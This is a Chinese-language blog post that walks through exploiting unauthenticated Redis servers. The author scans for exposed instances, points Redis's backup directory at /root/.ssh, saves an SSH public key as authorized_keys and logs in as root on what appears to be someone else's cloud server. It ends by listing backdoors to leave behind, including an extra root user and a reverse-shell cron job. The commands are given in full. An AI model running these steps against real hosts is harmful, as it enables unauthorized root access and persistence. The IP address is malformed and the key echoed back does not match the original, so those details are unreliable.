Redis未授权漏洞

Redis未授权漏洞利用

在项目中使用Redis的时候经常会看到很多没有配置认证, 所以 利用 利用搜索引擎 Zoomeye 做了一个小工具来扫描 线上未授权 Redis 结果如下:

扫描的脚本:

R_Auth_Scan

尝试连接 Redis

对上面扫描的结果尝试连接:

1
2
root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000
471.94.133.68:7000> keys *

能连接上,查看redis 的配置的数据备份目录:

1
2
3
471.94.133.68:7000> config get dir
1) "dir"
2) "/etc"

可以看到, 目前的配置文件是在 /etc 下,尝试切换一个目录:

1
2
3
4
5
6
471.94.133.68:7000> config set dir /root/.ssh
OK
471.94.133.68:7000> config get dir
1) "dir"
2) "/root/.ssh"
471.94.133.68:7000>

发现有权限可以把目录切换到 /root/.ssh下,这样可以就可以最开心的玩起了.

开始上传 ssh key

首先获取本机的id_rsa.pub:

1
2
root@0bee3a2311c3:~# cat /root/.ssh/id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIIAHbtcGP0xrtbjaMkZG+pMRd7paRau4sK2ziexXVduZcgb8kQztxtNoLLEbbyI8mXh7OkfMVob8hOuI0mJIHSGR64aJzoJ4YjDihewta22eUIxNqTu+g2SNhXjjOH6e4vSy4nKPZumj0jCZ7ldP2Nkiv42MQyC2v5XOt/w5UOleNxu6ckkAgrofTN9g8RsPt2GOjYnYJnPpeB8YxxHuG8zKWHPhd9Quk3G7r1uQd+3CyfWLY4FM33N+bQhFaWTAAjzOpWjBmei676XR8Tfj1cnq79m8d4i1nvekNT5UA2tK6c1zxUfC9YibkkJPh+AMjiVpo79B6BN18b4YffdohD6zJCEfUfb8NG0CKOw08ny0DTSIlPfR+fxTtm8wCYKtB9qqzPoa7cKg8Se65Y/6RLzNkAhQFrMo/gzw8qTBO6dddBl7UOg0Q1FavpstpoAgvhdRN1dOD0XQkN25D2LrskZybYD8q8= root@0bee3a2311c3

然后把本机的key 写入到Redis 中:

  1. 首先把 key 处理一下 将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错

    1
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  
  2. 然后把 key.txt 的内容写入到 redis中

    1
    cat key.txt | redis-cli -h 471.94.133.68 -p 7000  -x set crackit
  3. 查看一下是否写入成功:

    1
    2
    3
    4
    5
    6
    root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000
    471.94.133.68:7000> KEYS *
    1) "crackit"
    471.94.133.68:7000> get crackit
    "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIIAHbtcGP0xrtbjaMkZG+pMRd7paRau4sK2ziexXVduZcgb8kQztxtNoLLEbbyI8mXh7OkfMVob8hOuI0mJIHSGR64aJzoJ4YjDihewta22eUIxNqTu+g2SNhXjjOH6e4vSy4nKPZumj0jCZ7ldP2Nkiv42MQyC2v5XOt/w5UOleNxu6ckkAgrofTN9g8RsPt2GOjYnYJnPpeB8YxxHuG8zKWHPhd9Quk3G7r1uQd+3CyfWLY4FM33NavpstpoAgvhdRN1dOD0XQkNxMCAcNTfBIeyGWJzk2BQoGw/jC+CQ9R5I825D2LrskZybYD8q8= root@0bee3a2311c3\n\n\n\n"
    471.94.133.68:7000>
  4. 因为前面已经设置了Redis 的备份路径到 /root/.ssh下了,所以直接进行如下操作:

    1
    2
    3
    4
    5
    6
    471.94.133.68:7000> config set dbfilename authorized_keys
    OK
    471.94.133.68:7000> config get dbfilename
    1) "dbfilename"
    2) "authorized_keys"
    471.94.133.68:7000>

    config set dbfilename authorized_keys 设置备份的数据库名称为authorized_keys

    config get dbfilename 查看数据库名是否正确设置

  5. 最后直接在redis 中运行save进行数据备份 就可以把 key 写入到服务器去:

    1
    2
    471.94.133.68:7000> save
    OK
  6. 大工告成,开启连接:

    1
    2
    3
    4
    5
    6
    root@0bee3a2311c3:~# ssh root@471.94.133.68      
    Last login: Thu Mar 17 15:27:35 2022 from 58.246.249.182

    Welcome to Alibaba Cloud Elastic Compute Service !

    [root@0bee3a23~]#

预留后门

  1. 增加拥有root权限用户
  2. 增加反弹 shell的定时任务
  3. ….
  4. ….

以上内容仅供学习与技术研究